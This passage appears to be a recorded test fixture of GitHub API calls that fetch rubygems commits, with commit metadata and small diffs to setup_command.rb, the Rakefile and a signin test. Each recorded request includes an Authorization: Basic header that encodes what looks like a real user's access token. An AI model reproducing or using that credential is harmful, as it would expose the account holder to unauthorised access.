W/"ccbce1cf11ac1a46c8464d9bcb3d514f" Last-Modified: - Tue, 21 Nov 2017 14:49:11 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.033055' X-Github-Request-Id: - A24A:4D95:F47D86:1C835F3:5A50E46B body: encoding: ASCII-8BIT string: '{"sha":"912049ad9432324e6f25d7efe1f0097e4d1b444a","commit":{"author":{"name":"Lucas","email":"lucas.oliveira@iugu.com","date":"2017-11-21T14:49:11Z"},"committer":{"name":"Lucas","email":"lucas.oliveira@iugu.com","date":"2017-11-21T14:49:11Z"},"message":"Fix rake install_test_deps once the rake clean_env does not exist","tree":{"sha":"fc1ce4cf653e04d846d2f26e258364cd84d8c83b","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/fc1ce4cf653e04d846d2f26e258364cd84d8c83b"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/912049ad9432324e6f25d7efe1f0097e4d1b444a","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/912049ad9432324e6f25d7efe1f0097e4d1b444a","html_url":"https://github.com/rubygems/rubygems/commit/912049ad9432324e6f25d7efe1f0097e4d1b444a","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/912049ad9432324e6f25d7efe1f0097e4d1b444a/comments","author":null,"committer":null,"parents":[{"sha":"8a4a1afcafff4a0adaad7abef53947b3c172b8ce","url":"https://api.github.com/repos/rubygems/rubygems/commits/8a4a1afcafff4a0adaad7abef53947b3c172b8ce","html_url":"https://github.com/rubygems/rubygems/commit/8a4a1afcafff4a0adaad7abef53947b3c172b8ce"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"4af67f7a6b5fa085a07f2b8448dc8495ed9170df","filename":"Rakefile","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/912049ad9432324e6f25d7efe1f0097e4d1b444a/Rakefile","raw_url":"https://github.com/rubygems/rubygems/raw/912049ad9432324e6f25d7efe1f0097e4d1b444a/Rakefile","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/Rakefile?ref=912049ad9432324e6f25d7efe1f0097e4d1b444a","patch":"@@ -144,7 +144,7 @@ end\n task(:newb).prerequisites.unshift \"bundler:checkout\"\n \n desc \"Install gems needed to run the tests\"\n-task :install_test_deps => :clean_env do\n+task :install_test_deps => :clean do\n sh \"gem install minitest -v ''~> 4.0''\"\n end\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:55 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/f713f0d88d4f6b3a6c4140293d90cd8daf503f0d body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:55 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4497' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"1ef2f579bbdbb5412c00c30c33d1d6a9" Last-Modified: - Tue, 21 Nov 2017 13:50:35 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.039752' X-Github-Request-Id: - C51C:4D96:971633:13A374F:5A50E46B body: encoding: ASCII-8BIT string: '{"sha":"f713f0d88d4f6b3a6c4140293d90cd8daf503f0d","commit":{"author":{"name":"Mauro Morales","email":"contact@mauromorales.com","date":"2017-11-21T13:50:35Z"},"committer":{"name":"Mauro Morales","email":"contact@mauromorales.com","date":"2017-11-21T13:50:35Z"},"message":"Avoid encoding issues by using binread in setup\n\nFixes #2088","tree":{"sha":"1b8513ebf931305a11d823902bca8a0e8a960b27","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/1b8513ebf931305a11d823902bca8a0e8a960b27"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/f713f0d88d4f6b3a6c4140293d90cd8daf503f0d","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/f713f0d88d4f6b3a6c4140293d90cd8daf503f0d","html_url":"https://github.com/rubygems/rubygems/commit/f713f0d88d4f6b3a6c4140293d90cd8daf503f0d","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/f713f0d88d4f6b3a6c4140293d90cd8daf503f0d/comments","author":{"login":"mauromorales","id":433958,"avatar_url":"https://avatars2.githubusercontent.com/u/433958?v=4","gravatar_id":"","url":"https://api.github.com/users/mauromorales","html_url":"https://github.com/mauromorales","followers_url":"https://api.github.com/users/mauromorales/followers","following_url":"https://api.github.com/users/mauromorales/following{/other_user}","gists_url":"https://api.github.com/users/mauromorales/gists{/gist_id}","starred_url":"https://api.github.com/users/mauromorales/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mauromorales/subscriptions","organizations_url":"https://api.github.com/users/mauromorales/orgs","repos_url":"https://api.github.com/users/mauromorales/repos","events_url":"https://api.github.com/users/mauromorales/events{/privacy}","received_events_url":"https://api.github.com/users/mauromorales/received_events","type":"User","site_admin":false},"committer":{"login":"mauromorales","id":433958,"avatar_url":"https://avatars2.githubusercontent.com/u/433958?v=4","gravatar_id":"","url":"https://api.github.com/users/mauromorales","html_url":"https://github.com/mauromorales","followers_url":"https://api.github.com/users/mauromorales/followers","following_url":"https://api.github.com/users/mauromorales/following{/other_user}","gists_url":"https://api.github.com/users/mauromorales/gists{/gist_id}","starred_url":"https://api.github.com/users/mauromorales/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mauromorales/subscriptions","organizations_url":"https://api.github.com/users/mauromorales/orgs","repos_url":"https://api.github.com/users/mauromorales/repos","events_url":"https://api.github.com/users/mauromorales/events{/privacy}","received_events_url":"https://api.github.com/users/mauromorales/received_events","type":"User","site_admin":false},"parents":[{"sha":"8a4a1afcafff4a0adaad7abef53947b3c172b8ce","url":"https://api.github.com/repos/rubygems/rubygems/commits/8a4a1afcafff4a0adaad7abef53947b3c172b8ce","html_url":"https://github.com/rubygems/rubygems/commit/8a4a1afcafff4a0adaad7abef53947b3c172b8ce"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"c0f793e43dcbd780947102eba0a0cdc131c05aa3","filename":"lib/rubygems/commands/setup_command.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/f713f0d88d4f6b3a6c4140293d90cd8daf503f0d/lib/rubygems/commands/setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/f713f0d88d4f6b3a6c4140293d90cd8daf503f0d/lib/rubygems/commands/setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/setup_command.rb?ref=f713f0d88d4f6b3a6c4140293d90cd8daf503f0d","patch":"@@ -357,7 +357,7 @@ def install_default_bundler_gem\n mkdir_p Gem::Specification.default_specifications_dir\n \n # Workaround for non-git environment.\n- gemspec = File.read(''bundler/bundler.gemspec'').gsub(/`git ls-files -z`/, \"''''\")\n+ gemspec = File.binread(''bundler/bundler.gemspec'').gsub(/`git ls-files -z`/, \"''''\")\n File.open(''bundler/bundler.gemspec'', ''w''){|f| f.write gemspec }\n \n bundler_spec = Gem::Specification.load(\"bundler/bundler.gemspec\")"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:55 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/8a4a1afcafff4a0adaad7abef53947b3c172b8ce body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:55 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4496' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"4a71c1c4f83fd06f6d76ccea76eef9ef" Last-Modified: - Tue, 21 Nov 2017 11:01:28 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.044349' X-Github-Request-Id: - A24E:4D95:F47DA0:1C8362D:5A50E46B body: encoding: ASCII-8BIT string: '{"sha":"8a4a1afcafff4a0adaad7abef53947b3c172b8ce","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-21T11:01:28Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-21T11:01:28Z"},"message":"Auto merge of #2084 - hsbt:removed-unused-vals, r=hsbt\n\nRemoved warnings of unused variables.\n\nRemoved ```test/rubygems/test_gem_ext_rake_builder.rb:19: warning: assigned but unused variable - realdir```","tree":{"sha":"4cd79acb5887d2a31a4e771248324bdd8eb1dce7","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/4cd79acb5887d2a31a4e771248324bdd8eb1dce7"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/8a4a1afcafff4a0adaad7abef53947b3c172b8ce","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/8a4a1afcafff4a0adaad7abef53947b3c172b8ce","html_url":"https://github.com/rubygems/rubygems/commit/8a4a1afcafff4a0adaad7abef53947b3c172b8ce","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/8a4a1afcafff4a0adaad7abef53947b3c172b8ce/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"c06efbc9688d9f930c5efb924354fbb824e93cdc","url":"https://api.github.com/repos/rubygems/rubygems/commits/c06efbc9688d9f930c5efb924354fbb824e93cdc","html_url":"https://github.com/rubygems/rubygems/commit/c06efbc9688d9f930c5efb924354fbb824e93cdc"},{"sha":"772f543d11f487943b265ff0f46b38c6de73d928","url":"https://api.github.com/repos/rubygems/rubygems/commits/772f543d11f487943b265ff0f46b38c6de73d928","html_url":"https://github.com/rubygems/rubygems/commit/772f543d11f487943b265ff0f46b38c6de73d928"}],"stats":{"total":11,"additions":7,"deletions":4},"files":[{"sha":"56eecfc1f8dab4a0f04b9e2c52182df78df13c53","filename":"test/rubygems/test_gem_commands_signin_command.rb","status":"modified","additions":7,"deletions":4,"changes":11,"blob_url":"https://github.com/rubygems/rubygems/blob/8a4a1afcafff4a0adaad7abef53947b3c172b8ce/test/rubygems/test_gem_commands_signin_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/8a4a1afcafff4a0adaad7abef53947b3c172b8ce/test/rubygems/test_gem_commands_signin_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_signin_command.rb?ref=8a4a1afcafff4a0adaad7abef53947b3c172b8ce","patch":"@@ -27,20 +27,23 @@ def test_execute_when_not_already_signed_in\n \n def test_execute_when_already_signed_in_with_same_host\n host = ''http://some-gemcutter-compatible-host.org''\n- sign_in_ui = util_capture(nil, host) { @cmd.execute }\n+\n+ util_capture(nil, host) { @cmd.execute }\n old_credentials = YAML.load_file Gem.configuration.credentials_path\n \n- sign_in_ui = util_capture(nil, host) { @cmd.execute }\n+ util_capture(nil, host) { @cmd.execute }\n new_credentials = YAML.load_file Gem.configuration.credentials_path\n \n assert_equal old_credentials[host], new_credentials[host]\n end\n \n def test_execute_when_already_signed_in_with_different_host\n api_key = ''a5fdbb6ba150cbb83aad2bb2fede64cf04045xxxx''\n- sign_in_ui = util_capture(nil, nil, api_key) { @cmd.execute }\n+\n+ util_capture(nil, nil, api_key) { @cmd.execute }\n host = ''http://some-gemcutter-compatible-host.org''\n- sign_in_ui = util_capture(nil, host, api_key) { @cmd.execute }\n+\n+ util_capture(nil, host, api_key) { @cmd.execute }\n credentials = YAML.load_file Gem.configuration.credentials_path\n \n assert_equal credentials[:rubygems_api_key], api_key"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:55 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/772f543d11f487943b265ff0f46b38c6de73d928 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:55 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4495' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"d30c74a7bbddc797e487f9acc8618d17" Last-Modified: - Tue, 21 Nov 2017 07:54:14 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.051391' X-Github-Request-Id: - C520:4D96:971645:13A3771:5A50E46B body: encoding: ASCII-8BIT string: '{"sha":"772f543d11f487943b265ff0f46b38c6de73d928","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-21T07:54:14Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-21T07:54:14Z"},"message":"Removed warnings of unused variables.\n\n ```test/rubygems/test_gem_ext_rake_builder.rb:19: warning: assigned but unused variable - realdir```","tree":{"sha":"4cd79acb5887d2a31a4e771248324bdd8eb1dce7","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/4cd79acb5887d2a31a4e771248324bdd8eb1dce7"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/772f543d11f487943b265ff0f46b38c6de73d928","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAloT28UACgkQ+c8TQXJk\n+sIhpAgA0yQSC/2fWGj6p+TIyyXapM55HXAngR2JWPqYSh8AFI6YbBkURmomL7w9\n0c7jOl8UMAbIDUW5hnxzr0PqU4HMSDGZubd4n81sJZCix1V6OH5kUbDORtfzQcyl\nTus34GQRy00GQ2CQynvD1rpG5uf7jGISVbvPN5moCClfD8McVgCrDJG5b1rPolQv\nR0BEV+BtGn1DHbchOBuCHC5i17Pv5Onu+yjnP8Mp9Ue6cHm9so3rWDnBBm+Dekwd\n0mM8h39GPIhci1bnWahG0qaefqmOE13FQNtWeEs0x2DiOlXXeAPGJrIfNcASw/vC\ngIh/cDRHErnunqlNQGKTSgkxaKBJ+Q==\n=wTEp\n-----END PGP SIGNATURE-----","payload":"tree 4cd79acb5887d2a31a4e771248324bdd8eb1dce7\nparent c06efbc9688d9f930c5efb924354fbb824e93cdc\nauthor SHIBATA Hiroshi 1511250854 +0900\ncommitter SHIBATA Hiroshi 1511250854 +0900\n\nRemoved warnings of unused variables.\n\n ```test/rubygems/test_gem_ext_rake_builder.rb:19: warning: assigned but unused variable - realdir```\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/772f543d11f487943b265ff0f46b38c6de73d928","html_url":"https://github.com/rubygems/rubygems/commit/772f543d11f487943b265ff0f46b38c6de73d928","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/772f543d11f487943b265ff0f46b38c6de73d928/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"c06efbc9688d9f930c5efb924354fbb824e93cdc","url":"https://api.github.com/repos/rubygems/rubygems/commits/c06efbc9688d9f930c5efb924354fbb824e93cdc","html_url":"https://github.com/rubygems/rubygems/commit/c06efbc9688d9f930c5efb924354fbb824e93cdc"}],"stats":{"total":11,"additions":7,"deletions":4},"files":[{"sha":"56eecfc1f8dab4a0f04b9e2c52182df78df13c53","filename":"test/rubygems/test_gem_commands_signin_command.rb","status":"modified","additions":7,"deletions":4,"changes":11,"blob_url":"https://github.com/rubygems/rubygems/blob/772f543d11f487943b265ff0f46b38c6de73d928/test/rubygems/test_gem_commands_signin_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/772f543d11f487943b265ff0f46b38c6de73d928/test/rubygems/test_gem_commands_signin_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_signin_command.rb?ref=772f543d11f487943b265ff0f46b38c6de73d928","patch":"@@ -27,20 +27,23 @@ def test_execute_when_not_already_signed_in\n \n def test_execute_when_already_signed_in_with_same_host\n host = ''http://some-gemcutter-compatible-host.org''\n- sign_in_ui = util_capture(nil, host) { @cmd.execute }\n+\n+ util_capture(nil, host) { @cmd.execute }\n old_credentials = YAML.load_file Gem.configuration.credentials_path\n \n- sign_in_ui = util_capture(nil, host) { @cmd.execute }\n+ util_capture(nil, host) { @cmd.execute }\n new_credentials = YAML.load_file Gem.configuration.credentials_path\n \n assert_equal old_credentials[host], new_credentials[host]\n end\n \n def test_execute_when_already_signed_in_with_different_host\n api_key = ''a5fdbb6ba150cbb83aad2bb2fede64cf04045xxxx''\n- sign_in_ui = util_capture(nil, nil, api_key) { @cmd.execute }\n+\n+ util_capture(nil, nil, api_key) { @cmd.execute }\n host = ''http://some-gemcutter-compatible-host.org''\n- sign_in_ui = util_capture(nil, host, api_key) { @cmd.execute }\n+\n+ util_capture(nil, host, api_key) { @cmd.execute }\n credentials = YAML.load_file Gem.configuration.credentials_path\n \n assert_equal credentials[:rubygems_api_key], api_key"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:55 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/c06efbc9688d9f930c5efb924354fbb824e93cdc body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:55 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4494' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"6bbb8b3b4add5c983936193d5f129e52" Last-Modified: - Fri, 17 Nov 2017 20:11:12 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.039408' X-Github-Request-Id: - C522:4D95:F47DC5:1C8365F:5A50E46B body: encoding: ASCII-8BIT string: '{"sha":"c06efbc9688d9f930c5efb924354fbb824e93cdc","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-17T20:11:12Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-17T20:11:12Z"},"message":"Auto merge of #2072 - znz:merge-glob-pattern, r=hsbt\n\nMerge glob pattern using braces\n\nRemove duplicated directory path.\n\n- [X] Describe the problem / feature\n- [ ] Write tests\n- [X] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"4f9a83587f971d0350f00a454355c7adb30bd9fc","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/4f9a83587f971d0350f00a454355c7adb30bd9fc"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/c06efbc9688d9f930c5efb924354fbb824e93cdc","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/c06efbc9688d9f930c5efb924354fbb824e93cdc","html_url":"https://github.com/rubygems/rubygems/commit/c06efbc9688d9f930c5efb924354fbb824e93cdc","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/c06efbc9688d9f930c5efb924354fbb824e93cdc/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"309a13fbe1030b8fb426fd6a1e3ea07e941ce1d8","url":"https://api.github.com/repos/rubygems/rubygems/commits/309a13fbe1030b8fb426fd6a1e3ea07e941ce1d8","html_url":"https://github.com/rubygems/rubygems/commit/309a13fbe1030b8fb426fd6a1e3ea07e941ce1d8"},{"sha":"bb330275005d3f361240f205dc5f10258f3ff8ca","url":"https://api.github.com/repos/rubygems/rubygems/commits/bb330275005d3f361240f205dc5f10258f3ff8ca","html_url":"https://github.com/rubygems/rubygems/commit/bb330275005d3f361240f205dc5f10258f3ff8ca"}],"stats":{"total":4,"additions":2,"deletions":2},"files":[{"sha":"ff8575e51282202cf051bd0650af81f7706e923b","filename":"lib/rubygems/commands/setup_command.rb","status":"modified","additions":2,"deletions":2,"changes":4,"blob_url":"https://github.com/rubygems/rubygems/blob/c06efbc9688d9f930c5efb924354fbb824e93cdc/lib/rubygems/commands/setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/c06efbc9688d9f930c5efb924354fbb824e93cdc/lib/rubygems/commands/setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/setup_command.rb?ref=c06efbc9688d9f930c5efb924354fbb824e93cdc","patch":"@@ -442,15 +442,15 @@ def rb_files_in dir\n # for installation of bundler as default gems\n def template_files\n Dir.chdir \"bundler/lib\" do\n- (Dir[File.join(''bundler'', ''templates'', ''**'', ''*'')] + Dir[File.join(''bundler'', ''templates'', ''**'', ''.*'')]).\n+ (Dir[File.join(''bundler'', ''templates'', ''**'', 